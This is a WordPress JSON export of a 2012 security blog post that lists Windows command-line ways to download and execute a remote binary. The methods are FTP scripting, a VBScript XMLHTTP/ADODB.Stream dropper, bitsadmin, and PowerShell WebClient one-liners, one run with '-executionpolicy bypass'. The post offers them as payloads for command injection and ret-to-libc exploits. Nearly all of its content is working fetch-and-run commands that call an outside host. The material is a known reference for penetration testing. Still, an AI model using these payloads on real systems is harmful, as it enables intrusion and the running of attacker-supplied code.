{"id":500,"date":"2012-01-06T21:27:03","date_gmt":"2012-01-06T20:27:03","guid":{"rendered":"http:\/\/www.greyhathacker.net\/?p=500"},"modified":"2013-03-21T21:17:28","modified_gmt":"2013-03-21T20:17:28","slug":"ways-to-download-and-execute-code-via-the-commandline","status":"publish","type":"post","link":"https:\/\/www.greyhathacker.net\/?p=500","title":{"rendered":"Ways to Download and Execute code via the Commandline"},"content":{"rendered":"<p>In this post I am just highlighting some of the ways that I know of where we can download and execute code via the commandline which could be used in command injection vulnerabilities or exploiting buffer overflows using the classic ret-to-libc method. Most of you would most probably know these methods but I thought I&#8217;d post it anyway for my own reference.<\/p>\n<p><strong>FTP method<\/strong><br \/>\nFTP can be used to download a binary and then get executed with the start command. The downside to this method is that we&#8217;ll need to have a FTP server hosting the binary file. Nevertheless the command string length can be reasonably small.<\/p>\n<p>Here the ftp commands which are first echoed to create a script, then run the script by ftp.exe to download the binary and finally executing the binary.<\/p>\n<pre>open 192.168.1.3\r\nbinary\r\nget \/messbox.exe\r\nquit<\/pre>\n<pre>cmd.exe \/c \"@echo open 192.168.1.3&gt;script.txt&amp;@echo binary&gt;&gt;script.txt&amp;\r\n@echo get \/messbox.exe&gt;&gt;script.txt&amp;@echo quit&gt;&gt;script.txt&amp;@ftp -s:scrip\r\nt.txt -v -A&amp;@start messbox.exe\"<\/pre>\n<p>We can make the command string smaller by using o for open and b for binary. Also our script file can also be represented as a single character.<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone\" alt=\"\" src=\"\/images\/ftppwn.png\" width=\"516\" height=\"402\" \/><\/p>\n<p><strong>WSH method<\/strong><br \/>\nWindows Scripting Host can also be used to download and execute code. For this we again need to echo out the scripting code to a file and then run our script by cscript.exe.<\/p>\n<pre>strFileURL = \"http:\/\/www.greyhathacker.net\/tools\/messbox.exe\"\r\nstrHDLocation = \"mess.exe\"\r\nSet objXMLHTTP = CreateObject(\"MSXML2.XMLHTTP\")\r\nobjXMLHTTP.open \"GET\", strFileURL, false\r\nobjXMLHTTP.send()\r\nIf objXMLHTTP.Status = 200 Then\r\nSet objADOStream = CreateObject(\"ADODB.Stream\")\r\nobjADOStream.Open\r\nobjADOStream.Type = 1\r\nobjADOStream.Write objXMLHTTP.ResponseBody\r\nobjADOStream.Position = 0\u00a0\u00a0\u00a0\r\nobjADOStream.SaveToFile strHDLocation\r\nobjADOStream.Close\r\nSet objADOStream = Nothing\r\nEnd if\r\nSet objXMLHTTP = Nothing\r\nSet objShell = CreateObject(\"WScript.Shell\")\r\nobjShell.Exec(\"mess.exe\")<\/pre>\n<p>Below is the code that is chained up and then using cscript.exe to run our script.<\/p>\n<pre>cmd.exe \/c \"@echo Set objXMLHTTP=CreateObject(\"MSXML2.XMLHTTP\")&gt;poc.vbs\r\n&amp;@echo objXMLHTTP.open \"GET\",\"http:\/\/www.greyhathacker.net\/tools\/messbo\r\nx.exe\",false&gt;&gt;poc.vbs&amp;@echo objXMLHTTP.send()&gt;&gt;poc.vbs&amp;@echo If objXMLH\r\nTTP.Status=200 Then&gt;&gt;poc.vbs&amp;@echo Set objADOStream=CreateObject(\"ADODB\r\n.Stream\")&gt;&gt;poc.vbs&amp;@echo objADOStream.Open&gt;&gt;poc.vbs&amp;@echo objADOStream.\r\nType=1 &gt;&gt;poc.vbs&amp;@echo objADOStream.Write objXMLHTTP.ResponseBody&gt;&gt;poc.\r\nvbs&amp;@echo objADOStream.Position=0 &gt;&gt;poc.vbs&amp;@echo objADOStream.SaveToFi\r\nle \"mess.exe\"&gt;&gt;poc.vbs&amp;@echo objADOStream.Close&gt;&gt;poc.vbs&amp;@echo Set objA\r\nDOStream=Nothing&gt;&gt;poc.vbs&amp;@echo End if&gt;&gt;poc.vbs&amp;@echo Set objXMLHTTP=No\r\nthing&gt;&gt;poc.vbs&amp;@echo Set objShell=CreateObject(\"WScript.Shell\")&gt;&gt;poc.vb\r\ns&amp;@echo objShell.Exec(\"mess.exe\")&gt;&gt;poc.vbs&amp;cscript.exe poc.vbs\"<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone\" alt=\"\" src=\"\/images\/wshpwn.png\" width=\"516\" height=\"402\" \/><\/p>\n<p><strong>BITSadmin method<\/strong><br \/>\nWindows 7 comes with a console tool called bitsadmin.exe which can be used to download and upload files. The cool thing about bitsadmin is that it suspends the transfer if a network connection is lost. After reconnection the transfer continues where it left off and executes our code.<\/p>\n<pre>cmd.exe \/c \"bitsadmin \/transfer myjob \/download \/priority high http:\/\/w\r\nww.greyhathacker.net\/tools\/messbox.exe c:\\mess.exe&amp;start mess.exe\"<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone\" alt=\"\" src=\"\/images\/bitsadminpwn.png\" width=\"516\" height=\"402\" \/><\/p>\n<p><strong>PowerShell method<\/strong><br \/>\nPowershell is a scripting language which comes as standard in Windows 7. Below is a script which downloads and executes mess.exe.<\/p>\n<pre>$down = New-Object System.Net.WebClient\r\n$url\u00a0 = 'http:\/\/www.greyhathacker.net\/tools\/messbox.exe';\r\n$file = 'mess.exe';\r\n$down.DownloadFile($url,$file);\r\n$exec = New-Object -com shell.application\r\n$exec.shellexecute($file);<\/pre>\n<p>We can echo this script to a file and then run the script using Powershell with the &#8220;bypass&#8221; parameter as by default the Powershell policy is set to &#8220;restricted&#8221;.<\/p>\n<pre>powershell.exe -executionpolicy bypass -file poc.ps1<\/pre>\n<p>Another elegant way to run our code without any scripts is by chaining our code in one line as shown below<\/p>\n<pre>PowerShell (New-Object System.Net.WebClient).DownloadFile('http:\/\/www.g\r\nreyhathacker.net\/tools\/messbox.exe','mess.exe');Start-Process 'mess.exe'<\/pre>\n<pre>PowerShell (New-Object System.Net.WebClient).DownloadFile('http:\/\/www.g\r\nreyhathacker.net\/tools\/messbox.exe','mess.exe');(New-Object -com Shell.\r\nApplication).ShellExecute('mess.exe');<\/pre>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone\" alt=\"\" src=\"\/images\/powershellpwn.png\" width=\"516\" height=\"402\" \/><\/p>\n<p>References:<\/p>\n<p><a href=\"http:\/\/technet.microsoft.com\/en-us\/library\/dd347628.aspx\" target=\"_blank\">http:\/\/technet.microsoft.com\/en-us\/library\/dd347628.aspx<\/a><br \/>\n<a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/aa362812.aspx\" target=\"_blank\">http:\/\/msdn.microsoft.com\/en-us\/library\/aa362812.aspx<\/a><br \/>\n<a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/aa362813(v=vs.85).aspx\" target=\"_blank\">http:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/aa362813(v=vs.85).aspx<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>In this post I am just highlighting some of the ways that I know of where we can download and execute code via the commandline which could be used in command injection vulnerabilities or exploiting buffer overflows using the classic ret-to-libc method. Most of you would most probably know these methods but I thought I&#8217;d [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[18,34],"tags":[35,13],"class_list":["post-500","post","type-post","status-publish","format-standard","hentry","category-all","category-other","tag-download-and-execute","tag-return-to-libc"],"_links":{"self":[{"href":"https:\/\/www.greyhathacker.net\/index.php?rest_route=\/wp\/v2\/posts\/500","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.greyhathacker.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.greyhathacker.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.greyhathacker.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.greyhathacker.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=500"}],"version-history":[{"count":16,"href":"https:\/\/www.greyhathacker.net\/index.php?rest_route=\/wp\/v2\/posts\/500\/revisions"}],"predecessor-version":[{"id":696,"href":"https:\/\/www.greyhathacker.net\/index.php?rest_route=\/wp\/v2\/posts\/500\/revisions\/696"}],"wp:attachment":[{"href":"https:\/\/www.greyhathacker.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=500"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.greyhathacker.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=500"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.greyhathacker.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=500"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}